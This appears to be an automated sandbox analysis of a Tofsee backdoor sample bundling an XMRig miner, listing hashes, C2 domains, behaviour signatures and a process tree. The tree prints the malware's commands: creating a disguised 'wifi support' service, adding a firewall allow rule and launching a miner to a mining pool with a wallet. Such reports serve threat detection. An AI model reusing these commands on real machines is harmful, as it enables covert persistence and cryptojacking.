Analysis

  • max time kernel
    154s
  • max time network
    190s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-05-2023 17:37

General

  • Target

    file.exe

  • Size

    302KB

  • MD5

    c47f32f68a1ca3309768b48ec98cd752

  • SHA1

    ab24f2d6a2cacd0b807b2a174e4c43e8d629b32e

  • SHA256

    de3f27526eca92d8bab305d2942fbaf89d96b5fda6467dbf931b373868215b0b

  • SHA512

    747db0d277eac21cdb2f51862fe861e27b444bdae4ed08bcc92a92d27c75c6ee602723fa102a3501f980bea18bd2c9a500113c6e9cf42d752240e145b1bd610d

  • SSDEEP

    3072:Muy7xHO5Ur+3sfGjmvp8hPdJidlfZl8ebAGMR5zODTKchd+OH:xy7xHvrmsejm6d2NZlDAGMHOKcv+y

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4152
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\otjfomwc\
      2⤵
        PID:5092
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\vhtyvbao.exe" C:\Windows\SysWOW64\otjfomwc\
        2⤵
          PID:4316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create otjfomwc binPath= "C:\Windows\SysWOW64\otjfomwc\vhtyvbao.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4304
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description otjfomwc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4736
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start otjfomwc
          2⤵
          • Launches sc.exe
          PID:904
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1288
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4152 -s 1028
          2⤵
          • Program crash
          PID:2928
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4152 -ip 4152
        1⤵
          PID:3536
        • C:\Windows\SysWOW64\otjfomwc\vhtyvbao.exe
          C:\Windows\SysWOW64\otjfomwc\vhtyvbao.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:1460
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:696
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2964
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1460 -s 508
            2⤵
            • Program crash
            PID:4760
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1460 -ip 1460
          1⤵
            PID:2556

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\vhtyvbao.exe

            Filesize

            12.5MB

            MD5

            1fbb81b1c775eb57e6c68199a929b67c

            SHA1

            4811abe0d1a367f9d53b1329c296717ed21983c8

            SHA256

            ba178b20dea02c2d1cf491b89e88def0f464089ea7b946253dccad732504147a

            SHA512

            1df3eb2d939547303be9ce65f1b2775596f711caec21c7f7d16a2e5077c3c894172818896c2f8fee2c44e41fb909a70df34403ae4c9fbc77ee74b8c66a173b9d

          • C:\Windows\SysWOW64\otjfomwc\vhtyvbao.exe

            Filesize

            12.5MB

            MD5

            1fbb81b1c775eb57e6c68199a929b67c

            SHA1

            4811abe0d1a367f9d53b1329c296717ed21983c8

            SHA256

            ba178b20dea02c2d1cf491b89e88def0f464089ea7b946253dccad732504147a

            SHA512

            1df3eb2d939547303be9ce65f1b2775596f711caec21c7f7d16a2e5077c3c894172818896c2f8fee2c44e41fb909a70df34403ae4c9fbc77ee74b8c66a173b9d

          • memory/696-166-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-189-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/696-176-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-175-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-179-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-143-0x0000000000B90000-0x0000000000BA5000-memory.dmp

            Filesize

            84KB

          • memory/696-146-0x0000000000B90000-0x0000000000BA5000-memory.dmp

            Filesize

            84KB

          • memory/696-147-0x0000000000B90000-0x0000000000BA5000-memory.dmp

            Filesize

            84KB

          • memory/696-190-0x00000000021E0000-0x00000000021E7000-memory.dmp

            Filesize

            28KB

          • memory/696-149-0x0000000000B90000-0x0000000000BA5000-memory.dmp

            Filesize

            84KB

          • memory/696-151-0x0000000000B90000-0x0000000000BA5000-memory.dmp

            Filesize

            84KB

          • memory/696-155-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/696-158-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/696-159-0x0000000002190000-0x0000000002196000-memory.dmp

            Filesize

            24KB

          • memory/696-162-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-170-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-171-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-174-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-168-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-167-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-180-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-165-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-186-0x0000000007C00000-0x000000000800B000-memory.dmp

            Filesize

            4.0MB

          • memory/696-185-0x00000000021D0000-0x00000000021D5000-memory.dmp

            Filesize

            20KB

          • memory/696-169-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-173-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-178-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-177-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-172-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/696-182-0x00000000021D0000-0x00000000021D5000-memory.dmp

            Filesize

            20KB

          • memory/696-181-0x00000000021A0000-0x00000000021B0000-memory.dmp

            Filesize

            64KB

          • memory/1460-148-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/2964-201-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-204-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-199-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-200-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-194-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-202-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-203-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/2964-205-0x0000000000D00000-0x0000000000DF1000-memory.dmp

            Filesize

            964KB

          • memory/4152-134-0x00000000027A0000-0x00000000027B3000-memory.dmp

            Filesize

            76KB

          • memory/4152-137-0x00000000027A0000-0x00000000027B3000-memory.dmp

            Filesize

            76KB

          • memory/4152-140-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/4152-135-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB

          • memory/4152-139-0x0000000000400000-0x0000000000A5C000-memory.dmp

            Filesize

            6.4MB